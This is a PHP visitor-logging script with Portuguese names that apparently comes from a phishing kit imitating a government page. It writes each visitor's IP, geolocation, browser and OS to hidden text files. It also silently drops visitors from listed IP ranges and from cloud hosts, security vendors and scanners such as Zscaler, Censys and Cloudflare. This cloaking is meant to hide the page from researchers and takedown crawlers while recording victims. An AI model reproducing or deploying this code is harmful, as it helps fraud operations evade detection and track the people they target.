<?php
// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
// error_reporting(E_ALL);


require_once('geoplugin.class.php');


function getOS()
{

  global $user_agent;

  $os_platform    =   "Unknown OS Platform";

  $os_array       =   array(
    '/windows nt 6.2/i'     =>  'Windows 8',
    '/windows nt 6.1/i'     =>  'Windows 7',
    '/windows nt 6.0/i'     =>  'Windows Vista',
    '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
    '/windows nt 5.1/i'     =>  'Windows XP',
    '/windows xp/i'         =>  'Windows XP',
    '/windows nt 5.0/i'     =>  'Windows 2000',
    '/windows me/i'         =>  'Windows ME',
    '/win98/i'              =>  'Windows 98',
    '/win95/i'              =>  'Windows 95',
    '/win16/i'              =>  'Windows 3.11',
    '/macintosh|mac os x/i' =>  'Mac OS X',
    '/mac_powerpc/i'        =>  'Mac OS 9',
    '/linux/i'              =>  'Linux',
    '/ubuntu/i'             =>  'Ubuntu',
    '/iphone/i'             =>  'iPhone',
    '/ipod/i'               =>  'iPod',
    '/ipad/i'               =>  'iPad',
    '/android/i'            =>  'Android',
    '/blackberry/i'         =>  'BlackBerry',
    '/webos/i'              =>  'Mobile'
  );

  foreach ($os_array as $regex => $value) {

    if (preg_match($regex, $user_agent)) {
      $os_platform    =   $value;
    }
  }

  return $os_platform;
}

function getBrowser()
{

  global $user_agent;

  $browser        =   "Unknown Browser";

  $browser_array  =   array(
    '/msie/i'       =>  'Internet Explorer',
    '/firefox/i'    =>  'Firefox',
    '/safari/i'     =>  'Safari',
    '/chrome/i'     =>  'Chrome',
    '/opera/i'      =>  'Opera',
    '/netscape/i'   =>  'Netscape',
    '/maxthon/i'    =>  'Maxthon',
    '/konqueror/i'  =>  'Konqueror',
    '/mobile/i'     =>  'Handheld Browser'
  );

  foreach ($browser_array as $regex => $value) {

    if (preg_match($regex, $user_agent)) {
      $browser    =   $value;
    }
    if (preg_match('|MSIE ([0-9].[0-9]{1,2})|', $user_agent, $matched)) {
      $browser_version = $matched[1];
      $browser = 'Internet Explorer';
    } elseif (preg_match('|Opera/([0-9].[0-9]{1,2})|', $user_agent, $matched)) {
      $browser_version = $matched[1];
      $browser = 'Opera';
    } elseif (preg_match('|Firefox/([0-9\.]+)|', $user_agent, $matched)) {
      $browser_version = $matched[1];
      $browser = 'Mozila Firefox';
    } elseif (preg_match('|Chrome/([0-9\.]+)|', $user_agent, $matched)) {
      $browser_version = $matched[1];
      $browser = 'Google Chrome';
    } elseif (preg_match('|Safari/([0-9\.]+)|', $user_agent, $matched)) {
      $browser_version = $matched[1];
      $browser = 'Safari';
    } else {
      // browser not recognized!
      $browser_version = 0;
      //$browser= 'other';
    }
  }

  return $browser;
}



function salvarEntrada($tela) {
  session_start();
  $ip = isset($_SERVER['HTTP_CF_CONNECTING_IP'])
    ? $_SERVER['HTTP_CF_CONNECTING_IP']
    : (isset($_SERVER['HTTP_X_FORWARDED_FOR'])
      ? $_SERVER['HTTP_X_FORWARDED_FOR']
      : $_SERVER['REMOTE_ADDR']);

  $_ref = $_GET['ref'];
  $jaVisitei = $_SESSION['visited'];

  $ac = false;
  if($ac && !isset($jaVisitei) && !isset($_ref)) { 
    return die();
  }
  $_SESSION['visited'] = true;

  $block = ['103.50.33.163', '200.155.43.237', '191.243.171.156', '201.77.117.4', '200.174.198.244', '200.174.198.130', '200.174.198.251', '200.174.198.225', '200.174.198.222', '200.174.198.19', '200.174.198.133', '200.174.198.245', '200.174.198.157', '200.174.198.108', '200.174', '200.174.198.152', '2804:248:ef58:3400:91be:76c:2de4:fe3', '191.177.136.190', "189.36.134.58", "189.39.109.225", "185.197.248.145", "103.50.33.99"];
  if(in_array($ip, $block)) return die();
  if(strpos($ip, '200.174')!== false) return die();
  if(strpos($ip, '45.70')!== false) return die();
  if(strpos($ip, '177.124')!== false) return die();
  if(strpos($ip, '187.49')!== false) return die();
  if(strpos($ip, '191.6')!== false) return die();
  if(strpos($ip, '186.0')!== false) return die();
  if(strpos($ip, '191.177')!== false) return die();

  $owner = $_GET['ref']; 

  if(isset($owner)){
    $_SESSION['owner'] = $owner;
  }
  $mq = "Gov";
  $user_os        =   getOS();
  $user_browser   =   getBrowser();
  
  $device_details =   "<strong>Browser: </strong>" . $user_browser . "<br /><strong>Operating System: </strong>" . $user_os . "";
  $user_agent = $_SERVER['HTTP_USER_AGENT'];


  $geoplugin = new geoPlugin();
  $geoplugin->locate($ip);
  $novoarquivo = fopen(dirname(__FILE__) . '/dados848484848488.txt', "a+");
  // $data = date("d/m/Y");
  //$data = date('d/m/Y');
  //$data = date("I");
  // $data = date("d/m/Y H:i:s ");
  //$hora = date('H:i:s');
  $time = mktime(date('H') - 3, date('i'), date('s'));
  $hora = gmdate("H:i:s", $time);
  // $timestamp = time() - date('Z');
  $ano    = date('Y');
  $dia    = date('d') - 0;
  $dsemana = date('w');
  $data   = date('n');
  $mes[1] = 'Janeiro';
  $mes[2] = 'Fevereiro';
  $mes[3] = 'Mar�o';
  $mes[4] = 'Abril';
  $mes[5] = 'Maio';
  $mes[6] = 'Junho';
  $mes[7] = 'Julho';
  $mes[8] = 'Agosto';
  $mes[9] = 'Setembro';
  $mes[10] = 'Outubro';
  $mes[11] = 'Novembro';
  $mes[12] = 'Dezembro';
  $semana[0] = 'Domingo';
  $semana[1] = 'Segunda-Feira';
  $semana[2] = 'Ter�a-Feira';
  $semana[3] = 'Quarta-Feira';
  $semana[4] = 'Quinta-Feira';
  $semana[5] = 'Sexta-Feira';
  $semana[6] = 'S�dado';
  $tz = 'America/Sao_Paulo';
  $timestamp = time();
  $dt = new DateTime("now", new DateTimeZone($tz)); //first argument "must" be a string
  $dt->setTimestamp($timestamp);
  $agora = $dt->format('d/m/Y H:i:s');



    $details = json_decode(file_get_contents("http://ip-api.com/json/".$ip.""));
$_SESSION['uf']= $details->region;
$ref = $_SERVER['HTTP_REFERER'] ?? '';

  $cidade = $details->city;
  $estado = $details->region;
  $pais = $details->countryCode;

    $arquivo = dirname(__FILE__) . '/info.txt';
    $html = '==============================================================' . PHP_EOL . $agora . PHP_EOL . $_SERVER['HTTP_HOST'].' - '.'Visita - '. $details->countryCode . ' - '. $details->region . ' - ' . $details->city . PHP_EOL . $ref . PHP_EOL . 'IP: ' . $ip . PHP_EOL . PHP_EOL . 'ESTA ACESSANDO TELA: ' . $tela . PHP_EOL . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL . $details->isp . ' - ' . $details->org . ' - '  . $details->as . ' - ' . PHP_EOL . '==============================================================' . PHP_EOL . PHP_EOL;
        
    $blockList = ['DigitalOcean', 'Cisco', 'Datacamp', 'Host', 'Zscaler', 'ZSCALER', 'Netiface', 'Azure', 'IP Volume', 'Amazon', 'Clouvider', 'Cloud', 'MEVSPACE', 'Cloudflare', 'Maga', 'Magalu', 'maga', 'Google', 'Latitude', 'Maxihost', 'Aventice', 'Eveo', 'Desenv', 'Dev', 'Server', 'Tech', 'Tecno', 'Microsoft', 'EGN', 'Dedicated', 'AWS', 'EGIHosting', 'Data', 'Leaseweb', 'V tal', 'Vtal', 'AS8167', 'V.tal', 'Censys', 'LogicWeb', 'Hetzner', 'QuickPacket', 'Iway', 'Tencent', 'OVH', 'Rackdog', 'M247 Europe Infra', 'Packethub'];

    // Cria o recurso (abrir o arquivo)
    $handle = fopen($arquivo, 'a+');
    
    // Escreve
    $ler = fwrite($handle, $html);
    
    // Fecha o arquivo
    fclose($handle);
    foreach ($blockList as $blocked) {
        if (str_contains($details->isp, $blocked) || str_contains($details->org, $blocked)|| str_contains($details->as, $blocked)) {
            // return header('Location: /acesso.php');
            return die();
            return exit();
        }
    }


    // if($details->countryCode !== 'AR') return die();

  fwrite($novoarquivo, $agora .  " - " . $mq . " - " . $semana[$dsemana] . ', ' . $dia . ' de ' . $mes[$data] . ' de ' . $ano . " - " . $ip . " - " . $user_os . " - " . $user_browser . " - " . " - " . $estado . " - " . $cidade . " - " . $pais . "\r\n");
  fclose($novoarquivo);

}




